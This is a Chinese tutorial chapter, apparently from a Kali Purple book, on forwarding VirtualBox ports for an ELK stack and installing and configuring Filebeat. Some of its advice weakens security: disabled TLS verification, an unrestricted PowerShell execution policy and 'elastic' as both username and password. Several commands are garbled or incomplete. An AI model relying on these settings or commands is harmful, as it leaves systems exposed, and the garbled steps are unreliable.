在本章中,我们将进入数据流的领域,讨论 ELK 堆栈如何获取信息。然而,在此之前,我们需要准备好我们的连接和数据流。由于潜在的设置方式无穷无尽,且我们无法确定你使用的工具和操作系统,我们将坚持使用我们基础的示例设置,即在 Windows 主机上使用 VirtualBox。但其背后的原理是相同的。如果你使用的是不同的虚拟化工具或主机操作系统,你仍然应该能够从中获取必要的信息。

注意

由于我们不了解每个人的财务状况,而 Kali Purple 的一大魅力在于整个套件是免费的且开源的,因此我们在开发本内容时力求使用最简单的术语,同时仍保留概念验证。事实上,在本书的内容中,我们将从单一设备的角度探索 Kali Purple。在讲解过程中,我们将在一台配备 32 GB 内存和 13 英寸屏幕的小型笔记本电脑上进行复现(是的,真的)。我们希望每个人都能享受到 Kali Purple 的乐趣。

话虽如此,你应该知道,即使在 Kali Purple 之外,也有许多方法可以设置和部署 ELK 堆栈,其中包括基于云的部署。我们完全可以为 ELK 堆栈写一本书——更有可能是一系列书籍。 然而,这本书的主题并不是 ELK 堆栈,而是 Kali Purple,我们将保持与 Kali Purple 的一致性。跟随我们,到最后,你将对 Kali Purple 有一个非常扎实的理解,之后你可以在任何你喜欢的方式上进一步扩展。

以我们的基础示例为例,第一个网络考虑因素是理解我们的虚拟机VM)与主机操作系统之间的关系。简而言之,这就像是拥有两台独立运行的个人计算机。它们只是共享相同的物理硬件来运行。这就是我们设置与拥有两台独立设备之间的唯一区别。因此,我们可以将终端工具,如 Beats 数据传输工具或 Elastic Agent,放在主机设备上,让它们将数据报告到托管在 Kali Purple 虚拟机实例中的 ELK 堆栈。这样做将准确模拟客户设备向公司 SOC 内的工具报告数据的过程。更复杂的是,我们希望尽可能地保护虚拟机不受外部恶意行为的干扰。我们将通过利用一些网络概念来实现这一点,使数据传输工具仅通过连接到主机设备来向 SIEM 设置报告,主机设备再将信息传递到虚拟机实例中。虽然我们不需要外部设备来验证 Kali Purple 的概念,但我们仍会触及这一方面,以支持那些希望以这种方式进行实验的朋友。这样做的另一个好处是你只需要一台设备,为教育工作者和培训经理提供了一个额外的途径来培训他们的分析师。

为了确保我们的网络正确建立,我们需要覆盖两个主要领域:我们需要确保你的主机设备和虚拟机能够相互通信。这要求你为主机设备配置一个静态 IP 地址,或者愿意在每次主机设备更新其 IP 地址时,编辑虚拟化软件中的端口转发规则,确保 Kali Purple 虚拟机实例能够继续正常工作。根据互联网服务提供商的业务规则和操作,这可能会或可能不会很麻烦。这就引出了第二个主要领域。尽管我们开发本内容是基于你可以在单个设备上完成所有操作的假设,但如果你曾将自制的 Kali Purple SOC 用于合法目的,你的主机设备必然需要对外界可访问。否则,如何让你的数据传输工具知道将数据发送到哪里呢?

首先,先来看一下你正在处理的 IP 地址类型。在主机上打开命令提示符,输入ipconfig /all来获取详细的列表。查看不同的网络接口时,你会注意到一个以太网接口,这代表着传统的物理网线插入我的设备。这应该是你的虚拟化软件。由于有些人仍然使用有线电话、相信埃尔维斯还活着,并通过以太网连接访问计算机网络,你需要通过查找Description字段来确认这是你的虚拟化软件。该字段的值应该是提到虚拟化软件的文本。例如,在我们的案例中,它是VirtualBox Host-Only Ethernet Adapter。你还应该注意到有一个DHCP Enabled行,值为No——这是好事。这意味着你的虚拟化软件已经将其 IP 地址设置为静态。换句话说,地址不会改变。在同一部分中,你会看到一个IPv4 Address字段。记录下该值,因为稍后我们将创建端口转发规则时需要用到它。结果中可能还会有其他字段带有IPv4 Address字段。找到那个与虚拟机相关的条目,并记录下该条目的 IPv4 值。它可能是列表中的第一个条目。你可能会在描述中看到与虚拟机相关的内容,如图 5.1所示。记录下该值作为主机的 IP 地址。在同一部分中,查找DHCP Enabled字段。这个值可能显示为Yes,老实说,这是个不太好的信号。这意味着你的互联网服务提供商会定期更新/更改你的 IP 地址。这一点可以通过该部分左列的Lease ObtainedLease Expired字段得到进一步确认。如果出于某种原因,DHCP Enabled值显示为No,就像虚拟化接口那样,那么你可能已经知道了。你会在打开互联网服务提供商的最后一张账单时发现这个信息,那时你会看到应付金额上多了几个零。

查找与虚拟化软件匹配的以太网接口:

图 5.1 – ipconfig /all

图 5.1 – ipconfig /all

如果是这样的话,你就可以了。你可以设置一个完全功能的 Kali Purple SOC,分发数据发送器到远程设备,并在下一步完成端口转发后让它们将数据反馈到你的应用程序。如果不是这样的话,那就意味着你的 IP 地址是动态的,会发生变化。你需要在动手操作我们刚才描述的 SOC 之前,先进行一些独立学习。我们无法为你完成这部分操作的原因是,世界上有无限数量的互联网服务提供商,再加上看似无穷无尽的路由器/交换机品牌。你需要的解决方案是为托管 Kali Purple 实例的设备获取一个静态 IP 地址。

从技术上讲,还有其他一些替代方法可以解决这个问题,因为计算机网络的世界极其复杂。然而,已经了解这些内容的人不太可能阅读本教程。如果你希望以这种方式设置 SOC,我们可以为你指引方向。但在深入之前,请先考虑一下你的迫切需求。如果你只是想学习和/或提升 Kali Purple 的知识,建议只保持主机和虚拟机网络联通。根据你的虚拟化类型和设置,主机 IP 地址可能并不需要才能使两者正常工作。否则,我们建议你查看互联网服务提供商和路由器/交换机品牌的官方网站,了解是否允许为设备设置静态 IP 地址,是否有相关资源可以帮助你设置,是否需要在网关设备和主机之间进行额外的端口转发。

一旦你决定了接下来的操作方式,并解决了主机设备的 IP 问题,你就需要将虚拟机与主机设备进行网络连接。记住,虚拟机就像一个独立的物理计算设备。如果我们希望它与主机设备进行通信,我们需要对其进行相应配置。

让我们将主机和虚拟机实例连接起来,以便模拟数据传输到我们的 ELK 堆栈设置。有几种方法可以使主机和虚拟化软件进行通信。我们将使用一个叫做端口转发的概念。如果你没有网络经验,可以将端口想象成你家中的墙上插座/插口。你的家代表你的设备。当你的计算机访问互联网时,就像电力通过你家里的电线到达外部,并沿着道路旁的电线传输。当你访问的互联网服务器或计算设备回复你计算机的信息时——即便是简单的显示一个网页——就像电力通过那些电线返回到你家里。

你有没有想过,计算机是如何知道那些返回的信息——即传入数据——应该发送到哪里呢?它是怎么知道传入的数据属于电子邮件客户端、网页浏览器、游戏或其他你正在使用的应用程序的呢?计算机通过使用端口来知道这一点。设备上的不同应用程序会使用不同的端口号。举个例子,你的网页浏览器会通过连接到端口80来处理普通流量,或者通过连接到端口443来处理加密流量,连接到远程网页服务器设备。在这个过程中,浏览器会从设备上随机选择一个空闲端口,并为接收远程设备的回复保留该端口。它会将包括为回复保留的端口号的信息发送到远程设备。这样,当远程设备发送回复时,它就能告诉你的计算机将回复发送到哪里。你的设备在收到这个回复后,就知道该使用哪个插座/插件。因此,它就会知道,任何来自原始远程端口80443网页服务器活动的信息,都是与网页浏览器相关的,应该发送到那里。

计算机中的端口——有时也称为插件——就像是电流进入你家并到达一个非常特定的插座。你家通过送到电气面板的电线来识别这些插件,电气面板中有断路器,并且这些断路器应该有标签。如果你去到你家的电气面板,翻动写着厨房的开关,那么理论上,厨房的电力——只会是厨房的电力——应该被关闭。它会关闭厨房中的所有电气插座,而不仅仅是一个。你计算机中的端口就像厨房里的一个插座。端口转发和镜像就像控制面板中的断路器开关。你将多个插件连接到同一个控制面板,以便用一个开关进行操作和控制。当你在设备中创建规则来共享或转发端口时,这就像是你重新布线它们,使它们可以通过相同的开关、相同的开关来工作……可以称之为虚拟断路器

为了让我们的主机和虚拟机在同一个电路断路器上,我们将在 VirtualBox 中使用端口转发。为此,请确保 Kali Purple 虚拟机已关闭。如果虚拟机正在运行,你需要先关闭它,然后才能访问该虚拟机的端口转发功能。虚拟机关闭后,打开 VirtualBox,选择你运行 Kali Purple 的虚拟机。接下来,点击顶部标有设置的大齿轮图标。当设置窗口打开时,找到并选择左侧栏中的网络选项卡。

虽然有几种方法可以执行下一步操作,但我们将使用一种叫做网络地址转换NAT)的方法。我们需要找到一个可用的网络适配器。在主窗口的顶部,应该有四个标签,每个标签上都有适配器的标签。在大多数情况下,第一个标签会预先设置一些信息。如果你看到启用网络适配器框已选中,并且在附加到:右侧的滚动菜单中已经选择了NAT,那么你可以继续使用这个活动标签。否则,你需要继续浏览窗口顶部的标签,直到找到一个可用的网络适配器。如果启用网络适配器未被选中,你可以认为它是可用的。你可以在本章末尾的进一步阅读部分中阅读更多关于 NAT 以及之前讨论的静态和动态 IP 的信息。如果这些选项不可用或被灰显,可能是你忘记先关闭虚拟机。请仔细检查并确保你已经关闭了正确的虚拟机,然后再试一次。你可能需要关闭并重新启动 VirtualBox 虚拟机。

如果你忘记关闭虚拟机,一些设置可能会被灰显,如下所示:

图 5.2 – 设置面板

图 5.2 – 设置面板

当你满意时,点击高级旁边的三角形。你应该会看到另一个下拉菜单,标有适配器类型:。将其设置为虚拟化网络(virtio-net)

注意事项

上述步骤至关重要。这是虚拟化社区中许多用户感到沮丧的原因,所以,请确保不要跳过这一步骤。如果你使用的不是 VirtualBox 虚拟化产品,标签的名称可能会有所不同。但你应该能够通过推理找到相应的设置。如果你不确定,也可以搜索与你的虚拟化品牌相关的术语,再加上“paravirtualization”一词。

接下来几行,你还应该会看到一个按钮,用于访问端口转发功能。点击该按钮打开端口转发规则窗口。接下来的几页将为你提供更多详细信息和一个关于端口转发的图示—如图 5.3所示。可以随意调整那个小窗口的大小,以便查看所有的列。如果你使用的是不同的虚拟化产品或宿主操作系统,可以尝试搜索如何让你的虚拟化产品和操作系统进行网络连接。你也可以在查询中加入端口转发一词。但是,如果你按照这里的步骤操作,即使使用其他产品,这些信息也可能对你有所帮助。所以,我们建议即使你没有使用 VirtualBox,仍然阅读这一部分内容。

既然我们已经到达这里,让我们为 ELK 堆栈的每个组件设置端口转发。虽然 Elasticsearch 和 Kibana 主要使用传输控制协议TCP)网络流量,Logstash 则同时支持 TCP 和用户数据报协议UDP)。Elasticsearch 还使用一个额外的端口来接收来自管道的信息。我们可能会配置这个端口两次,一次用于每个协议。老实说,将每个组件都设置为 TCP 和 UDP 是一种良好的实践,因为我们无法预知我们的 SOC/SIEM 解决方案的未来。若你有兴趣,可以查看本章末尾的进一步阅读部分,里面有关于这些协议的更多学习链接。

在你点击端口转发按钮后打开的窗口右上角,应该会有一个带有绿色加号符号的小图标。你可能需要双击某个字段才能获得输入或编辑值的权限。此时你将创建多个端口转发规则。点击带有绿色加号符号的图标来创建你的第一个端口转发规则。在名称栏中,输入Elasticsearch - Localhost,在右侧的协议栏中,输入TCP。在主机 IP栏中,你需要输入你想要连接到虚拟机的源的 IP 地址,在我们这个例子中就是主机机器本身。输入127.0.0.1,这表示主机机器的本地主机。Elasticsearch 和 Kibana 使用9200端口,因此,由于这个规则是为了让主机和虚拟机共享同一个端口,你必须在主机端口客户机端口栏中都输入9200。对于你正在创建的每个端口转发规则,在客户机 IP栏中输入你从虚拟机界面记录的 IP——即你输入ipconfig /all时,来自以太网部分的 IP。在我们的例子中,如果参考图 5.1,是192.168.56.1。我们建议你输入这个 IP 作为一种最佳实践,因为并非所有的端口转发场景都会涉及简单的主机-虚拟机联合。

从技术上讲,你可以将客户机 IP栏留空。有些用户报告说,当另一端点是本地主机时,若客户机 IP有条目会遇到问题。如果你遇到类似问题,可以尝试移除该 IP。无论哪种技术,去掉所有可选设置和输入是一种很好的故障排除习惯。然后,确认技术在去除这些项后能按预期工作,再慢慢地逐项重新添加,测试每一步。若你养成这样的故障排除习惯,你会很快发现,大多数情况下,正是那些可选项导致了最初的问题/故障。

完成第一个端口转发设置后,点击确定保存规则,然后对以下每个规则重复此步骤,使用相同的 IP 地址为主机和客户机设置:

  • 配置 Elasticsearch – 应用数据使用 9300 端口的 TCP

  • 配置 Kibana 使用 5601 端口的 TCP

  • 配置 Logstash 使用 5044 端口的 TCP

  • 配置 Logstash 使用 5044 端口的 UDP

设置 Elasticsearch – 应用数据的规则我们不会使用。这个端口是 Elasticsearch 用于在节点之间进行通信和数据传输的。不过,我们让你设置这个端口是为了培养一个好习惯。随着你不断成长、学习和拓展自己的能力,你可能决定研究并尝试使用多个 Elasticsearch 节点。现在,你已经将大脑编程成记住这个端口的存在,帮助你进行操作。一旦你完成了端口转发规则的设置,它们应该和你在图 5.3中看到的类似,这是我们为运行实验示例所设置的规则的截图:

图 5.3 – 端口转发规则

图 5.3 – 端口转发规则

配置网络进行数据传输的最后一步是测试我们的设置。我们将通过尝试从主机机器连接到 Elasticsearch 和 Kibana 来实现这一点。首先,我们需要做一些清理工作。点击 确定 关闭 端口转发规则 窗口,然后再次点击 确定 关闭 设置 窗口。现在,启动你的 Kali Purple 虚拟机并等待几分钟让它启动。我们要避免的一件事是过早连接,或者在没有验证 Elasticsearch 和 Kibana 是否在虚拟机启动时正确启动的情况下尝试连接。另外,如果你在安装这些服务时没有选择启用它们的选项,在 第四章中,你将需要手动启动它们。如果我们没有启动它们,即使我们的端口转发设置正确,也无法从主机机器连接到它们。虚拟机启动后,登录到实例并打开命令行终端窗口。你还记得我们在安装这些服务时的最佳实践吗?这些是在 第四章 中讲解的。

如果没有的话,他们需要输入以下命令:

  • sudo apt update

  • sudo apt upgrade 如果你希望升级更新中呈现的任何选项

  • sudo systemctl daemon-reload 重新加载任何遗漏的配置更改

  • sudo systemctl status elasticsearch – 如果它正在运行,它会显示 Active

  • sudo systemctl status kibana – 如果它正在运行,也会显示 Active

  • Ctrl + Z 以便在需要时退出状态屏幕

在这种情况下,如果更新返回的任何选项与 Elastic 产品套件相关,你需要确保执行升级。原因是你将在下一节直接从 Elastic 获取 Filebeat,如果你获得的版本比你现有的 Elastic 安装版本更新,可能会在设置过程中遇到问题。

一旦确认你的 Kali Purple 和 ELK 实例已成功启动并运行,返回你的主机进行端口转发规则的测试。在主机上,打开你选择的网页浏览器。正如你可能从 第四章 中回忆到的,我们通过直接连接来测试 Elasticsearch 设置。在实际操作中,我们只会通过 Kibana 界面访问 Elasticsearch。这只是为了测试并确保我们的端口转发规则按预期工作!在你打开的浏览器的地址栏中,输入 localhost:9200,特别注意 http 后的 s。如果你的端口转发按预期工作,你将看到一个提示,要求你输入 Elasticsearch 登录凭证。这些凭证与你从 Kali Purple 环境中登录 Elasticsearch 时使用的是相同的,因为这就是同一个 Elasticsearch!如果你看到一个显示默认 Elasticsearch 集群的 JSON 格式网页,那么恭喜你,这就是成功!你的 9200 端口转发规则工作正常。现在我们对 Kibana 做同样的操作。这次,省略 http 后的 s,在浏览器中输入 http://localhost:5601。你应该会看到你通过虚拟机登录时所获得的相同 Kibana 页面。由于我们不直接连接到 Logstash,因此可以安全地假设此时所有的端口转发都已成功。

恭喜你!你已经赢得了数据传输战斗的一半。设置好你的网络是所有数据传输的核心——这就是我们为什么有互联网,对吧?在下一节中,我们将安装并配置 Beats,使其能够使用此网络方案,将数据从安装设备报告回我们的 ELK 堆栈 SIEM 解决方案。

Filebeat

很多人会将 Beats 视为 ELK 堆栈的一部分,因为这三个主要的 ELK 组件曾经在很大程度上依赖于 Beats。然而,随着 Elastic agent 的不断改进,以及外部供应商在其独立产品中开发与 Elasticsearch 兼容的功能,Beats 的包含已不再是一个自动的假设。我们也会探索 Elastic agent。不过,Beats 依然简单且轻量,因此它是一个非常自然的过渡步骤。

除了示例数据集——这些是假数据,用于在部署前测试如 ELK 堆栈等系统——外,获取数据的下一种最简单方式是通过一系列代理,称为数据传输工具,统称为 Beats。Beats 并不是单一的代理或软件应用程序,而是一个应用程序家族。通过将数据收集拆分成独立的代理,每个代理都有特定的重点或主题,Beats 可以只部署对特定端点必要且相关的部分。这有助于去除不必要的处理和开销。因此,Beats 被认为是一个轻量级的数据传输解决方案。

与其查看所有可用的不同类型的 Beats,不如选一个深入研究,这样我们可以通过设置它来获得经验,从而了解 Beat 到底是什么以及它是如何工作的。我们将以流行的 Filebeat 作为示例。也许还有其他你可能觉得对我们正在使用的 Windows 主机更有用的 beats。然而,Filebeat 是最具通用性的之一,迄今为止,它是 Beats 生态系统中使用最广泛的 beat。此外,Filebeat 是一个非常流行的数据传输工具,因其专注于日志收集而广泛应用于服务器设备。如果你在商业环境中部署 Beats,Filebeat 很可能是你最常使用的 Beats 之一。

让我们通过在主机上安装 Beats 来模拟在远程端点上安装它。此时,你应该已经配置好了我们实现这一目标所需的网络部分。安装后,我们将让它向我们在 Kali Purple 虚拟机实例中运行的 ELK 堆栈报告数据。虽然这是一台物理设备,但过程与使用两台独立设备时完全相同。这就是虚拟机的魅力。以这种方式操作的另一个好处是,你不需要额外的硬件,也无需承担任何额外成本,因为 Beats 是免费的开源软件。

在你的主机上,打开浏览器地址栏并输入以下网址:www.elastic.co/downloads/beats/filebeat

当页面加载时,选择适合平台的包,并从选择平台:下载菜单中选择,但不要立即下载。首先,你需要选择包以获取适当的文件哈希值。如果你使用的是 Windows 操作系统,可能会有多个选项。你需要选择非 BETA 版本——即标题中带有 ZIP 的选项。从菜单中选择的包现在应该在菜单下方以蓝色下载链接的形式显示出来。一旦你确认所选包无误,你就可以获取哈希值——这类似于你在第三章中做的操作。如果你查看蓝色下载框的右侧,你应该会看到带有国际下载符号的 sha,如图 5.4 所示。选择该链接,观察哈希值以下载的形式发送。如果你使用的浏览器允许直接打开下载文件,请直接打开。如果不行,请导航到设备的下载文件夹并打开哈希文件。将其记录在某个地方,以便与最终下载文件进行比较:

图 5.4 – Filebeat 版本选择和哈希下载

图 5.4 – Filebeat 版本选择和哈希下载

下载完成后,请执行以下操作:

  1. 打开 Windows 文件资源管理器并导航到你的下载文件夹。

  2. 输入 Get-FileHash -Path 获取文件哈希值。

  3. 如果你使用的是 Mac,请键入 shasum -a 512

  4. 如果你是 Linux 用户,可以输入 sha512sum

  5. 右键点击并选择提取全部

  6. 文件将解压到此文件夹:部分,删除默认条目。

  7. 输入 C:\Program Files,然后选择提取

  8. 当解压完成后,导航到C:\Program Files目录。

  9. 右键点击该目录,按下 F2 键或选择下拉菜单底部的重命名图标。该图标是带字母 A 的图像。

  10. 为了简化,建议将安装目录重命名为简单且容易记住的名称。Elastic 推荐你将其重命名为Filebeat。当你稍后输入命令以访问该目录时,你会感谢这一巧妙的操作。

  11. 选择 Filebeat 下载并将其解压到C:\Program Files

图 5.5 – Filebeat 下载

图 5.5 – Filebeat 下载

现在,打开 Windows 开始菜单,在搜索栏中输入 PowerShell 来访问 PowerShell。你可能已经在以前的使用中将其图标固定在任务栏上了。右键点击 PowerShell 图标,选择 以管理员身份运行。在弹出窗口中选择 ,以授予 PowerShell 所需的权限。你可以通过终端窗口的背景颜色来判断是否以管理员身份运行。如果背景是黑色的,则表示你是正常运行。如果是以管理员身份运行,背景将是蓝色的。我们稍后将提供两者的示例。

我们将把 Filebeat 安装为 Windows 服务。有几个原因我们想要这样做:

  • 它确保 Filebeat 在系统启动时自动启动

  • 它确保从启动过程开始,甚至在任何系统故障时都能立即收集日志

  • 它允许使用标准的 Windows 服务管理工具来管理 Filebeat

  • 它提供了与 Windows 操作系统在安全性和权限方面更平滑的集成

要将 Filebeat 安装为服务,首先需要进入你在 PowerShell 命令行中重命名安装文件的目录。进入 Program Files 目录。注意该目录名称中的空格,Windows 系统喜欢这样做,而大多数命令行工具对此常常会报错。如果直接输入你看到的路径,可能会遇到错误。为了避免这个问题,先输入 **cd c:*,然后在不按空格键的情况下,按下键盘上的 Tab 键。你会看到路径的其余部分会自动补全。不要*按下 Enter 键,继续按 Tab 键,直到 Program Files 目录出现。出现后,按 Enter 键。此时,你可以输入 ls 来确保你进入了正确的目录,并且你的新命名的 Filebeat 安装文件在其中。接着,继续使用 cd 进入该目录。

假设你的终端没有因目录路径中的空格而报错,输入 cd 'C:\Program Files<new_name_you_picked>' 来进入该目录。所以,如果你按照 Elastic 的推荐将文件重命名为 Filebeat,你需要输入 cd 'C:\Program Files\Filebeat'。此时,你可以通过输入 .\install-service-filebeat.ps1 将 Filebeat 安装为服务。但是,你很可能会遇到脚本执行被禁用的错误。因此,为了最佳实践,我们建议从一开始就设置 PowerShell 执行策略,将设置策略和安装 Filebeat 的命令合并为一个。输入 PowerShell.exe – ExecutionPolicy UnRestricted -File .\install-service-filebeat.ps1;这应该会触发一个安全警告。这个是预期中的并且没有问题。我们建议你输入 R仅运行一次,然后按 Enter 键。你应该会看到确认信息,表示 Filebeat 已成功安装,但默认情况下是关闭的,如 图 5.6 所示:

图 5.6 – 通过常规 PowerShell 将 Filebeat 安装为 Windows 服务

图 5.6 – 通过常规 PowerShell 将 Filebeat 安装为 Windows 服务

既然我们已经将 Filebeat 安装为服务,那么我们可以使用一些很酷的技巧来管理它。以下是前几个示例:要从当前 PowerShell 实例启动 Filebeat,只需输入Start-Service -Name Filebeat,然后等待几秒钟,直到命令提示符返回。返回后,不幸的是,我们没有任何反馈来告诉我们是否成功启动了它。然而,我们可以通过输入Get-Service -Name Filebeat来检查其状态。此时,它应该会在左侧列中显示Running,而之前显示的是Stopped。听起来很熟悉,是不是?通过将 Filebeat 安装为 Windows 服务,我们现在可以像在 Kali 中使用 Linux 命令行管理 ELK 堆栈的其他组件一样,使用 PowerShell 来管理应用程序。

Linux 和 macOS 下载与安装

在编辑配置文件之前,让我们确保 Linux 和 macOS 用户可以下载并安装该产品。这两个系统都有内置的自动哈希检查功能,可以为你节省一些工作。

Linux 用户可以跳过基于浏览器的下载,使用命令行工具内置的自动哈希检查。只需输入sudo apt-get install filebeatsudo yum install filebeat,然后导航到/etc/filebeat文件夹,在那里输入ls来确认.yml文件是否存在。使用你喜欢的编辑器编辑filebeat.yml —— 对大多数人来说,编辑器是 vim 或 nano。

macOS 用户可以通过输入brew install elastic/tap/elastic-agent来使用 Homebrew,然后导航到/usr/local/etc/filebeat目录。一旦进入该目录,他们可以输入命令,查找并使用 Linux 中相同的工具(如 vim 或 nano)编辑filebeat.yml

现在我们已经完成了下载和安装过程,让我们调整一些设置,让 Filebeat 能正常工作。毕竟,安装 Filebeat 只是开始。如果我们希望它正常工作,我们需要将它配置为连接到 ELK 堆栈,以便它知道将收集的信息发送到哪里。我们还需要给它一个提示,告诉它我们希望它从哪里收集信息。我们可以使用许多可选的设置来帮助解析它收集并发送的数据。

输入 ls 来列出当前目录的内容。你应该仍然在 C:\Program Files\Filebeat 目录下。你需要找到 filebeat.yml,因为这是你将编辑的文档,用于将数据发送到 ELK 堆栈。在 PowerShell 中编辑文件,输入 notepad filebeat.yml;在 Linux 或 macOS 上,输入 sudo filebeat.yml,其中 editor 是你选择的编辑器,通常是 nano 或 vim。文件应该会在文本编辑器中打开。如果你没有安装记事本,可以用系统中已安装的任何文本编辑器替代 notepad。或者,你也可以最小化当前的 Windows 窗口,然后搜索、下载并安装记事本。如果你收到权限不足的警告,请注意终端窗口的颜色,这通常意味着你在启动 PowerShell 时没有选择 以管理员身份运行。在这种情况下,你可以在 PowerShell 中通过输入 Start-Process powershell -Verb Runas 来提升权限。

一旦你设置了权限并在文本编辑器中打开了文件,就需要调整文件中的一些设置,才能让我们享受 Filebeat 的好处。我们必须确保这些设置正确,否则 Filebeat 将无法正确运行,或者无法正确报告到 ELK 堆栈。向下滚动,直到找到被一堆等号包围的 filebeat.inputs: 部分,如 图 5.7 所示。找到标记为 enabled: false 的字段,并将其更改为 enabled: true

filebeat.inputs: 部分中,移除以下字段前的 # 符号,不论你称之为井号、磅符号还是井字格符号:

  • filebeat.inputs:

  • - type: filestream

  • id: my-filestream-id

  • enabled: true

  • - /***var/log/.log

这被称为取消注释字段。在处理包含任何编程代码的文本文件时,取消注释字段是行业最佳实践。

调整 Filebeat 的输入,使其知道在哪里获取信息以及获取什么类型的信息:

图 5.7 – filebeat.yml 配置在 filebeat.inputs: 部分

图 5.7 – filebeat.yml 配置在 filebeat.inputs: 部分

接下来,向下滚动,找到标记为 filebeat.config.modules: 的部分,找到 reload.enabled: false 字段,并将其更改为 reload.enabled: true

确保以下字段没有被注释掉:

  • filebeat.config.modules:

  • path: ${path.config}/modules.d/*.yml

  • reload.enabled: true

调整 Filebeat 模块,以便它可以容纳我们稍后将添加的附加功能:

图 5.8 – filebeat.yml 配置在 filebeat.config.modules: 部分

图 5.8 – filebeat.yml 配置在 filebeat.config.modules: 部分

继续滚动查看filebeat.yml,直到到达Dashboards部分。取消注释setup.dashboards.enabled: true,然后转到其后的 Kibana 部分。在这里,您将取消注释setup.kibana:并将主机值设置为localhost:5601,确保该行也被取消注释。

允许设置仪表板并配置 Filebeat 以便它可以使用 Kibana:

图 5.9 – filebeat.yml 文件的配置仪表板和 Kibana 部分

图 5.9 – filebeat.yml 文件的配置仪表板和 Kibana 部分

Outputs部分,您将看到 Elasticsearch 和 Logstash 的选项。这是因为 Filebeat 可以将数据报告到这两个应用程序中。为了演示,我们将同时设置这两个,但目前只使用 Elasticsearch。取消注释output.elasticsearch,并将其放置在output.logstash之前。这样做将会让 Filebeat 将数据发送到 Elasticsearch,而不会发送到 Logstash。如果您不小心同时取消注释了这两个选项,在下一步中将会出现错误。因此,请确保在继续下一步之前,Logstash 选项的 # 值已经正确设置。

接下来,您需要告诉 Filebeat 这些应用程序的位置。删除每个应用程序hosts字段前的符号,并将hosts值设置为 localhost,端口号保持不变。这是一个简洁的安全技巧,它让 Filebeat 通过我们之前设置的端口转发功能向 ELK 堆栈报告数据。这样做的好处是,任何您在主机网络外设置的 Beats 都可以将数据报告到 ELK 堆栈,而不需要直接访问您托管 Kali Purple 的虚拟机!取消注释protocol: "https"字段以保持与 Elasticsearch 的兼容性。

如果您打算将 ELK 堆栈用于商业目的,我们建议您花一些时间研究和设置 SSL 和 TLS。但是,由于我们这里只是设置一个概念验证场景,因此我们将跳过 SSL 和 TLS 的复杂性。为了避免配置和启动错误,我们需要在 Elasticsearch 的hosts字段之后添加一行。添加ssl.verification_mode: none

最后,为了让 Filebeat 正常访问 Elasticsearch 实例,您需要提供凭据。这些是我们自从安装 Elasticsearch 以来一直在使用的相同服务账户凭据。确保取消注释用户名和密码字段,并添加必要的凭据。请参考图 5.10,以查看如何正确配置的示例。

调整输出设置,以便 Filebeat 知道将数据发送到哪里:

图 5.10 – filebeat.yml 中的 Elasticsearch 和 Logstash 部分

图 5.10 – filebeat.yml 中的 Elasticsearch 和 Logstash 部分

完成后,以任何文本文件的方式保存文件,然后返回终端验证更改。在命令行中,输入 cat filebeat.yml。这将以只读格式将 filebeat.yml 的内容打印到你的屏幕上。向上滚动以查看文本,并验证你刚刚所做的更改是否显示在 PowerShell 终端屏幕上。

注意

在你配置本书中各种应用程序或将其与其他应用程序集成的过程中,你会注意到许多我们没有讨论的可配置选项。这些选项大多数是这些应用程序的高级用法,通常超出了本书的范围。放心,我们给你提供了足够的信息,使其在实际应用中仍然有效且有用。幸运的是,如果本书中涉及的任何特定应用程序对你更感兴趣,你有更多的信息可以探索,在整个职业生涯中不断提升自己的技能。

将 Filebeat 收集的数据报告到 ELK 堆栈只有在我们有数据可以报告的情况下才会有效,对吧?这里有一个很大的“兔子洞”可以探讨,但对于我们使用案例的概念验证,我们将坚持审查数据收集模块。你可以通过在 PowerShell 中输入 .\filebeat.exe modules list 或在 Linux 或 macOS 中输入 ./filebeat modules list 来获取可用数据收集模块的列表。如果你收到输出错误,那意味着你错过了之前的指示,忘记在添加信息后注释掉 filebeat.yml 中的 Logstash 输出。回去做这一步,然后再返回执行此步骤。在进一步阅读部分有一个链接,会带你到 Elastic 网站,在那里你可以研究和了解命令行返回的每个模块的功能。我们将启用其中的三个模块。

现在执行以下操作:

  • .\filebeat.exe modules enable mysql

  • .\filebeat.exe modules enable threatintel

  • .\filebeat.exe modules microsoft

接下来,我们需要为 Filebeat 建立一个授权的低权限用户。Elastic 非常重视在启用和启动 Filebeat 之前完成此操作。首先,我们将为用户创建一个角色,然后再建立实际的用户。请双重检查并确保你已经在 Kali Purple 虚拟机中运行了 Elasticsearch 和 Kibana。然后,在主机机器上,打开一个网页浏览器并在地址栏中输入 Kibana 的地址(localhost:5601),确保 http 后面没有 s

Kibana 的主页应该会加载出来。可能需要一两分钟,尤其是在你最近启动了 Kibana 和/或 Elasticsearch 服务时。Kibana 首页左上角的三条横线被我们称为汉堡菜单(因为这些线条看起来像夹在两片面包之间的汉堡)。点击汉堡菜单并向下滚动。点击 Stack Management,然后再次向下滚动左侧导航,直到你到达 Security 部分。在该部分中,点击 Roles 打开 Roles 页面。在右上角,你会看到一个标记为 Create role 的蓝色框。选择该选项;当页面加载时,你将看到一个输入角色名称的选项,位于 Role name 下:

图 5.11 – 使用 Kibana 界面创建 Filebeat 角色

图 5.11 – 使用 Kibana 界面创建 Filebeat 角色

输入一些自解释的内容。在我们的示例中,我们将输入FB-Default-Role

注意

由于时间的推移,你在阅读本文时的体验可能会有所不同。记住,搜索引擎是你的朋友。

如果你在 Beats 角色报告到 Kibana 界面时遇到问题,你可能需要做的一件事是导航到 kibana.yml 文件所在的目录 – 它应该在 /etc/kibana/ 中 – 然后输入 sudo nano kibana.yml 来编辑该文件。你可以使用键盘上的箭头键在文件中导航,直到找到 elasticsearch output 部分。确保用户名和密码都设置为 elastic。这是为了确保应用程序能够正确集成。

另一个需要考虑的事项是确保你的主机和虚拟机已将端口80443转发,这样网页浏览器才能进行通信。

然后,返回这里,在后续部分中,点击 Cluster privileges 后的下拉菜单。在该字段中,输入 monitor,然后按 Ctrl + K 完成输入,同时允许你添加更多条目。作为附加条目,添加 read_ilmmanage_ilmmanage_index_templatesread_pipeline,每输入一个条目后按 Ctrl + K。如果你希望获得更好的体验,还可以添加 manage_pipelinemanage_ingest_pipelines。然而,如果你正在设置生产环境,我们不建议一开始就使用这些选项。在这种情况下,最好从小处开始,逐步添加功能。如果你之前不知道,使用 Ctrl + K 可以在输入多个电子邮件地址时自动完成字段,或者在大多数需要添加多个数据集的地方都可以使用。这是一个非常实用的快捷键,值得学习!

